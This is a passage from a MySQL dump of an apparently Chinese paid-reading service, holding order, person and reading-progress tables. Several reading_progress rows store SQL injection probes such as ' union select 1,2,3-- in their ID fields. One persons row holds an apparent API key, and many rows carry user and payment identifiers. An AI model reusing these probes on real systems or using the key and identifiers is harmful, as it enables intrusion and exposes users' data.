'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.3', 1.00, '章节1.3-1.3', 'refunded', '4200003056202603051521371441', '2026-03-05 09:39:02.956', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-05 09:38:57.329', '2026-03-05 09:53:16.842', NULL); -INSERT INTO `orders` VALUES ('MP20260306123905719351', 'MP20260306123905719351', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '1.1', 1.00, '章节1.1-荷包:电动车出租的被动收入模式', 'paid', '4200003059202603063534557893', '2026-03-06 04:39:13.469', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-06 04:39:05.598', '2026-03-06 04:39:13.473', NULL); -INSERT INTO `orders` VALUES ('MP20260306124440714553', 'MP20260306124440714553', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '9.26', 1.00, '章节9.26-第114场|人跟人差别,以前没 AI 差...', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-06 04:44:40.419', '2026-03-06 04:44:40.419', NULL); -INSERT INTO `orders` VALUES ('MP20260307092935707893', 'MP20260307092935707893', 'ogpTW5WgyfQ58To207mh7YNjtGW0', 'ogpTW5WgyfQ58To207mh7YNjtGW0', 'section', '1.1', 1.00, '章节1.1-荷包:电动车出租的被动收入模式', 'created', NULL, NULL, '', NULL, '2026-03-07 01:29:35.977', '2026-03-07 01:29:35.977', NULL); -INSERT INTO `orders` VALUES ('MP20260307094042189287', 'MP20260307094042189287', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'ogpTW5Z_SdI82eULXgFNJl4sT1fk', 'section', '9.26', 1.00, '章节9.26-第114场|有 AI 差 1 万倍', 'paid', '4200002997202603076765138894', '2026-03-07 01:40:50.116', '', NULL, '2026-03-07 01:40:42.529', '2026-03-07 01:40:50.121', NULL); -INSERT INTO `orders` VALUES ('MP20260307212038744210', 'MP20260307212038744210', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'section', '6.2', 1.00, '章节6.2-供应链金融:我不懂的杠杆游戏', 'paid', '4200003051202603073956434261', '2026-03-07 13:20:44.244', 'SOULGSPSQG', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2026-03-07 13:20:38.035', '2026-03-07 13:20:44.250', NULL); -INSERT INTO `orders` VALUES ('MP20260308001233343696', 'MP20260308001233343696', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'match', 'match_1', 1.00, '匹配次数x1', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-07 16:12:33.123', '2026-03-07 16:12:33.123', NULL); -INSERT INTO `orders` VALUES ('MP20260309091832941702', 'MP20260309091832941702', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', 'section', '10.01', 1.00, '章节10.01-第102场|今年第一个红包你发给谁', 'created', NULL, NULL, '', NULL, '2026-03-09 01:18:32.408', '2026-03-09 01:18:32.408', NULL); -INSERT INTO `orders` VALUES ('MP20260309104414306664', 'MP20260309104414306664', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.13', 1.00, '章节10.13-第116场|钱是大风刮来的,如何才能接住', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-09 02:44:14.632', '2026-03-09 02:44:14.632', NULL); -INSERT INTO `orders` VALUES ('MP20260309160755748522', 'MP20260309160755748522', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'section', '10.01', 1.00, '章节10.01-第102场|今年第一个红包你发给谁', 'paid', '4200003087202603094493123059', '2026-03-09 08:08:02.265', '', NULL, '2026-03-09 08:07:55.889', '2026-03-09 08:08:02.269', NULL); -INSERT INTO `orders` VALUES ('MP20260309174649961512', 'MP20260309174649961512', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'section', '1.3', 1.00, '章节1.3-笑声背后的MBTI:为什么ENTJ适合做...', 'created', NULL, NULL, '', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-09 09:46:49.836', '2026-03-09 09:46:49.836', NULL); -INSERT INTO `orders` VALUES ('MP20260310133400806895', 'MP20260310133400806895', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'section', '10.16', 1.00, '章节10.16-10.16', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 05:34:00.708', '2026-03-10 05:34:00.708', NULL); -INSERT INTO `orders` VALUES ('MP20260310142303156472', 'MP20260310142303156472', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.15', 1.00, '章节10.15-第118场|运气是选出来的,不是等出来的', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 06:23:03.615', '2026-03-10 06:23:03.615', NULL); -INSERT INTO `orders` VALUES ('MP20260310142346778215', 'MP20260310142346778215', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '10.11', 1.00, '章节10.11-第114场|人跟人差别,以前没 AI 差...', 'paid', '4200003005202603102038656016', '2026-03-10 06:23:51.550', 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-03-10 06:23:46.418', '2026-03-10 06:23:51.553', NULL); -INSERT INTO `orders` VALUES ('MP20260310145101629290', 'MP20260310145101629290', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '10.11', 1.00, '章节10.11-第114场|人跟人差别,以前没 AI 差...', 'created', NULL, NULL, 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-03-10 06:51:01.514', '2026-03-10 06:51:01.514', NULL); -INSERT INTO `orders` VALUES ('MP20260310184055793606', 'MP20260310184055793606', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:40:55.280', '2026-03-10 10:40:55.280', NULL); -INSERT INTO `orders` VALUES ('MP20260310184058328542', 'MP20260310184058328542', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', 'ogpTW5b8DXrhFk7WsqIODy83nzSY', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:40:58.244', '2026-03-10 10:40:58.244', NULL); -INSERT INTO `orders` VALUES ('MP20260310184132415482', 'MP20260310184132415482', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:41:32.873', '2026-03-10 10:41:32.873', NULL); -INSERT INTO `orders` VALUES ('MP20260310184133375637', 'MP20260310184133375637', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:41:33.578', '2026-03-10 10:41:33.578', NULL); -INSERT INTO `orders` VALUES ('MP20260310184253194124', 'MP20260310184253194124', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:42:53.349', '2026-03-10 10:42:53.349', NULL); -INSERT INTO `orders` VALUES ('MP20260310184255000148', 'MP20260310184255000148', 'ogpTW5etDs6mN-0BQMw49gw56zZM', 'ogpTW5etDs6mN-0BQMw49gw56zZM', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:42:55.402', '2026-03-10 10:42:55.402', NULL); -INSERT INTO `orders` VALUES ('MP20260310184330157264', 'MP20260310184330157264', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:43:30.698', '2026-03-10 10:43:30.698', NULL); -INSERT INTO `orders` VALUES ('MP20260310184331256704', 'MP20260310184331256704', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 10:43:31.609', '2026-03-10 10:43:31.609', NULL); -INSERT INTO `orders` VALUES ('MP20260310202017131369', 'MP20260310202017131369', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'ogpTW5fJRS3NfqhpDA3ivxnmVJf0', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:17.310', '2026-03-10 12:20:17.310', NULL); -INSERT INTO `orders` VALUES ('MP20260310202023122012', 'MP20260310202023122012', 'ogpTW5W-QfijW2viSKf-03yflrS8', 'ogpTW5W-QfijW2viSKf-03yflrS8', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:23.320', '2026-03-10 12:20:23.320', NULL); -INSERT INTO `orders` VALUES ('MP20260310202055031475', 'MP20260310202055031475', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:55.905', '2026-03-10 12:20:55.905', NULL); -INSERT INTO `orders` VALUES ('MP20260310202055919400', 'MP20260310202055919400', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-10 12:20:55.963', '2026-03-10 12:20:55.963', NULL); -INSERT INTO `orders` VALUES ('MP20260311104652341864', 'MP20260311104652341864', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'ogpTW5brJSEI2A3f-OIEoX59l_dM', 'section', '10.16', 1.00, '章节10.16-第119场|开派对的初心是早上不影响老婆...', 'created', NULL, NULL, 'SOULDKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '2026-03-11 02:46:52.247', '2026-03-11 02:46:52.247', NULL); -INSERT INTO `orders` VALUES ('vip_mlyywn1u2hnzp0', 'VIP177183851896280', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, 'VIP年度会员', 'created', NULL, NULL, NULL, NULL, '2026-02-23 17:21:58.000', '2026-02-23 17:21:58.000', NULL); - --- ---------------------------- --- Table structure for persons --- ---------------------------- -DROP TABLE IF EXISTS `persons`; -CREATE TABLE `persons` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `person_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `label` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `ckb_api_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_persons_person_id`(`person_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of persons --- ---------------------------- -INSERT INTO `persons` VALUES (1, 'karuo', '卡若', '超级个体·作者', '2026-03-08 21:33:17.888', '2026-03-08 21:33:17.888', ''); -INSERT INTO `persons` VALUES (2, 'nanfeng', '南风', '超级个体', '2026-03-08 21:33:19.175', '2026-03-08 21:33:19.175', ''); -INSERT INTO `persons` VALUES (3, 'yuanzhi', '远志', '超级个体', '2026-03-08 21:33:20.271', '2026-03-08 21:33:20.271', ''); -INSERT INTO `persons` VALUES (4, 'laomo', '老墨', '资源整合高手', '2026-03-08 21:33:21.438', '2026-03-08 21:33:21.438', ''); -INSERT INTO `persons` VALUES (5, 'hezhong', '荷总', '自行车行业', '2026-03-08 21:33:22.491', '2026-03-08 21:33:22.491', ''); -INSERT INTO `persons` VALUES (6, 'yongping', '永平', '技术合伙人', '2026-03-08 21:33:23.666', '2026-03-10 10:51:30.987', 'mi5p9-f4gx6-tl4nw-a2qb8-4wgap'); - --- ---------------------------- --- Table structure for reading_progress --- ---------------------------- -DROP TABLE IF EXISTS `reading_progress`; -CREATE TABLE `reading_progress` ( - `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键ID', - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户ID', - `section_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '章节ID', - `progress` int(11) NULL DEFAULT 0 COMMENT '阅读进度 0-100', - `duration` int(11) NULL DEFAULT 0 COMMENT '累计阅读时长(秒)', - `status` enum('reading','completed','abandoned') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'reading' COMMENT '阅读状态', - `completed_at` datetime NULL DEFAULT NULL COMMENT '完成阅读时间', - `first_open_at` datetime NOT NULL COMMENT '首次打开时间', - `last_open_at` datetime NOT NULL COMMENT '最后打开时间', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - `updated_at` datetime NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_user_section`(`user_id`, `section_id`) USING BTREE COMMENT '用户+章节唯一索引', - INDEX `idx_user_status`(`user_id`, `status`) USING BTREE COMMENT '用户状态索引', - INDEX `idx_completed`(`completed_at`) USING BTREE COMMENT '完成时间索引', - INDEX `idx_last_open`(`last_open_at`) USING BTREE COMMENT '最后打开时间索引' -) ENGINE = InnoDB AUTO_INCREMENT = 555 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '用户阅读进度表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of reading_progress --- ---------------------------- -INSERT INTO `reading_progress` VALUES (2, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.2', 0, 15052, 'reading', NULL, '2026-02-04 21:41:50', '2026-03-10 11:15:11', '2026-02-04 21:41:49', '2026-03-10 11:15:11'); -INSERT INTO `reading_progress` VALUES (3, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.3', 0, 44622, 'reading', NULL, '2026-02-04 21:47:05', '2026-03-10 11:15:15', '2026-02-04 21:47:04', '2026-03-10 11:15:15'); -INSERT INTO `reading_progress` VALUES (4, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.1', 0, 100341, 'reading', NULL, '2026-02-05 16:11:20', '2026-03-10 10:56:19', '2026-02-05 16:11:20', '2026-03-10 10:56:19'); -INSERT INTO `reading_progress` VALUES (5, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.4', 0, 6, 'reading', NULL, '2026-02-05 16:13:13', '2026-02-05 16:13:13', '2026-02-05 16:13:12', '2026-02-05 16:13:12'); -INSERT INTO `reading_progress` VALUES (6, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.5', 0, 10, 'reading', NULL, '2026-02-06 10:01:54', '2026-02-11 09:35:40', '2026-02-06 10:01:53', '2026-02-11 09:35:40'); -INSERT INTO `reading_progress` VALUES (7, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.2', 0, 11, 'reading', NULL, '2026-02-06 10:01:59', '2026-02-11 09:49:31', '2026-02-06 10:01:58', '2026-02-11 09:49:31'); -INSERT INTO `reading_progress` VALUES (8, 'ogpTW5enUogenRCFwciHdLMiXgvw', 'preface', 0, 12, 'reading', NULL, '2026-02-09 12:10:05', '2026-02-09 12:10:05', '2026-02-09 12:10:05', '2026-02-09 12:10:05'); -INSERT INTO `reading_progress` VALUES (9, 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'preface', 0, 23, 'reading', NULL, '2026-02-09 12:10:05', '2026-02-10 03:16:49', '2026-02-09 12:10:05', '2026-02-10 03:16:49'); -INSERT INTO `reading_progress` VALUES (10, 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'preface', 0, 12, 'reading', NULL, '2026-02-10 03:16:49', '2026-02-10 03:16:49', '2026-02-10 03:16:49', '2026-02-10 03:16:49'); -INSERT INTO `reading_progress` VALUES (11, 'ogpTW5Wng_gQTBXySc2IUXn1VN-0', 'epilogue', 0, 4, 'reading', NULL, '2026-02-10 23:26:31', '2026-02-10 23:26:31', '2026-02-10 23:26:31', '2026-02-10 23:26:31'); -INSERT INTO `reading_progress` VALUES (12, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', '1.1', 0, 500, 'reading', NULL, '2026-02-11 07:11:59', '2026-03-04 03:39:47', '2026-02-11 07:11:59', '2026-03-04 03:39:47'); -INSERT INTO `reading_progress` VALUES (13, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'epilogue', 0, 2, 'reading', NULL, '2026-02-11 07:12:09', '2026-02-11 07:12:09', '2026-02-11 07:12:09', '2026-02-11 07:12:09'); -INSERT INTO `reading_progress` VALUES (14, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '1.2', 0, 34298, 'reading', NULL, '2026-02-11 09:21:55', '2026-02-11 10:00:54', '2026-02-11 09:21:55', '2026-02-11 10:00:54'); -INSERT INTO `reading_progress` VALUES (15, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.3', 0, 7, 'reading', NULL, '2026-02-11 09:36:34', '2026-02-11 09:36:34', '2026-02-11 09:36:34', '2026-02-11 09:36:34'); -INSERT INTO `reading_progress` VALUES (16, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '4.1', 0, 11, 'reading', NULL, '2026-02-11 09:38:33', '2026-02-11 09:38:33', '2026-02-11 09:38:33', '2026-02-11 09:38:33'); -INSERT INTO `reading_progress` VALUES (17, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '2.5', 0, 3, 'reading', NULL, '2026-02-11 09:50:03', '2026-02-11 09:50:03', '2026-02-11 09:50:03', '2026-02-11 09:50:03'); -INSERT INTO `reading_progress` VALUES (18, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.3', 0, 6, 'reading', NULL, '2026-02-11 09:59:10', '2026-02-28 08:09:13', '2026-02-11 09:59:10', '2026-02-28 08:09:13'); -INSERT INTO `reading_progress` VALUES (19, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'preface', 0, 6779, 'reading', NULL, '2026-02-11 10:18:25', '2026-03-10 13:52:14', '2026-02-11 10:18:25', '2026-03-10 13:52:14'); -INSERT INTO `reading_progress` VALUES (20, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'preface', 0, 4, 'reading', NULL, '2026-02-11 10:20:06', '2026-02-11 10:20:06', '2026-02-11 10:20:06', '2026-02-11 10:20:06'); -INSERT INTO `reading_progress` VALUES (21, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.1', 0, 12, 'reading', NULL, '2026-02-11 10:20:10', '2026-03-02 03:59:34', '2026-02-11 10:20:10', '2026-03-02 03:59:34'); -INSERT INTO `reading_progress` VALUES (22, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.2', 0, 5, 'reading', NULL, '2026-02-11 10:20:26', '2026-02-12 02:25:51', '2026-02-11 10:20:26', '2026-02-12 02:25:51'); -INSERT INTO `reading_progress` VALUES (23, 'ogpTW5cVMxd5afBBtXdvmeMO8aho', '1.3', 0, 0, 'reading', NULL, '2026-02-11 12:34:27', '2026-02-11 12:34:27', '2026-02-11 12:34:27', '2026-02-11 12:34:27'); -INSERT INTO `reading_progress` VALUES (24, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '1.1', 0, 9949, 'reading', NULL, '2026-02-11 12:34:34', '2026-03-07 16:20:34', '2026-02-11 12:34:34', '2026-03-07 16:20:34'); -INSERT INTO `reading_progress` VALUES (25, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '1.1', 0, 1044889, 'reading', NULL, '2026-02-11 13:33:20', '2026-03-10 13:03:14', '2026-02-11 13:33:20', '2026-03-10 13:03:14'); -INSERT INTO `reading_progress` VALUES (26, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'preface', 0, 15, 'reading', NULL, '2026-02-11 13:33:26', '2026-03-10 10:27:12', '2026-02-11 13:33:26', '2026-03-10 10:27:12'); -INSERT INTO `reading_progress` VALUES (27, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'epilogue', 0, 34, 'reading', NULL, '2026-02-11 13:34:00', '2026-02-13 06:38:20', '2026-02-11 13:34:00', '2026-02-13 06:38:20'); -INSERT INTO `reading_progress` VALUES (28, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'appendix-1', 0, 4, 'reading', NULL, '2026-02-11 13:37:24', '2026-02-24 02:12:16', '2026-02-11 13:37:24', '2026-02-24 02:12:16'); -INSERT INTO `reading_progress` VALUES (29, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '1.1', 0, 14493, 'reading', NULL, '2026-02-12 02:29:26', '2026-03-10 07:02:30', '2026-02-12 02:29:26', '2026-03-10 07:02:30'); -INSERT INTO `reading_progress` VALUES (30, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '1.1', 0, 437, 'reading', NULL, '2026-02-12 08:13:23', '2026-03-02 22:53:48', '2026-02-12 08:13:23', '2026-03-02 22:53:48'); -INSERT INTO `reading_progress` VALUES (31, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '11.2', 0, 1637, 'reading', NULL, '2026-02-12 08:32:28', '2026-02-12 08:36:46', '2026-02-12 08:32:28', '2026-02-12 08:36:46'); -INSERT INTO `reading_progress` VALUES (32, 'user_1769852174170', '1.1', 0, 2, 'reading', NULL, '2026-02-12 08:43:25', '2026-02-12 08:43:25', '2026-02-12 08:43:25', '2026-02-12 08:43:25'); -INSERT INTO `reading_progress` VALUES (33, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1', 0, 4905, 'reading', '0000-00-00 00:00:00', '2026-02-12 09:37:39', '2026-02-12 10:00:32', '2026-02-12 09:37:39', '2026-02-12 10:00:32'); -INSERT INTO `reading_progress` VALUES (34, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' union select 1-', 0, 9, 'reading', NULL, '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22'); -INSERT INTO `reading_progress` VALUES (35, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1\' union select 1,', 0, 9, 'reading', NULL, '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22', '2026-02-12 09:53:22'); -INSERT INTO `reading_progress` VALUES (44, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:23', '2026-02-12 09:58:18', '2026-02-12 09:53:23', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (45, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1,2--', 0, 27, 'reading', NULL, '2026-02-12 09:53:29', '2026-02-12 09:58:29', '2026-02-12 09:53:29', '2026-02-12 09:58:29'); -INSERT INTO `reading_progress` VALUES (46, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:19', '2026-02-12 09:53:30', '2026-02-12 09:58:19'); -INSERT INTO `reading_progress` VALUES (47, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:19', '2026-02-12 09:53:30', '2026-02-12 09:58:19'); -INSERT INTO `reading_progress` VALUES (48, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2,3--', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:58:31', '2026-02-12 09:53:30', '2026-02-12 09:58:31'); -INSERT INTO `reading_progress` VALUES (49, 'ogpTW5dBNnNpqttcxUbMBlG75Q38\' union select 1,2,3,4', '1.1', 0, 9, 'reading', NULL, '2026-02-12 09:53:30', '2026-02-12 09:53:30', '2026-02-12 09:53:30', '2026-02-12 09:53:30'); -INSERT INTO `reading_progress` VALUES (50, '\' union select 1-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:18', '2026-02-12 09:53:31', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (51, '\' union select 1,2-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:18', '2026-02-12 09:53:31', '2026-02-12 09:58:18'); -INSERT INTO `reading_progress` VALUES (52, '\' union select 1,2,3-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:25', '2026-02-12 09:53:31', '2026-02-12 09:58:25'); -INSERT INTO `reading_progress` VALUES (53, '\' union select 1,2,3,4-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:31', '2026-02-12 09:58:25', '2026-02-12 09:53:31', '2026-02-12 09:58:25'); -INSERT INTO `reading_progress` VALUES (54, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 union select 1--', 0, 27, 'reading', NULL, '2026-02-12 09:53:33', '2026-02-12 09:58:20', '2026-02-12 09:53:34', '2026-02-12 09:58:20'); -INSERT INTO `reading_progress` VALUES (55, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '1.1 union select 1,2', 0, 9, 'reading', NULL, '2026-02-12 09:53:34', '2026-02-12 09:53:34', '2026-02-12 09:53:34', '2026-02-12 09:53:34'); -INSERT INTO `reading_progress` VALUES (61, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:58:21', '2026-02-12 09:53:35', '2026-02-12 09:58:21'); -INSERT INTO `reading_progress` VALUES (62, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2-- ', 0, 27, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:58:21', '2026-02-12 09:53:35', '2026-02-12 09:58:21'); -INSERT INTO `reading_progress` VALUES (63, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2,3-', 0, 9, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35'); -INSERT INTO `reading_progress` VALUES (64, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', ' union select 1,2,3,', 0, 9, 'reading', NULL, '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35', '2026-02-12 09:53:35'); -INSERT INTO `reading_progress` VALUES (69, 'ogpTW5dBNnNpqttcxUbMBlG75Q38', '\' union select 1,2,3', 0, 9, 'reading', NULL, '2026-02-12 09:53:40', '2026-02-12 09:53:40', '2026-02-12 09:53:40', '2026-02-12 09:53:40'); -INSERT INTO `reading_progress` VALUES (72, '\' union select 1,2,3,4,5-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:41', '2026-02-12 09:58:37', '2026-02-12 09:53:41', '2026-02-12 09:58:37'); -INSERT INTO `reading_progress` VALUES (78, '\' union select 1,2,3,4,5,6-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:46', '2026-02-12 09:58:45', '2026-02-12 09:53:46', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (79, '\' union select 1,2,3,4,5,6,7-- ', '1.1', 0, 27, 'reading', NULL, '2026-02-12 09:53:46', '2026-02-12 09:58:45', '2026-02-12 09:53:46', '2026-02-12 09:58:45'); -INSERT INTO `reading_progress` VALUES (80, '\' union select 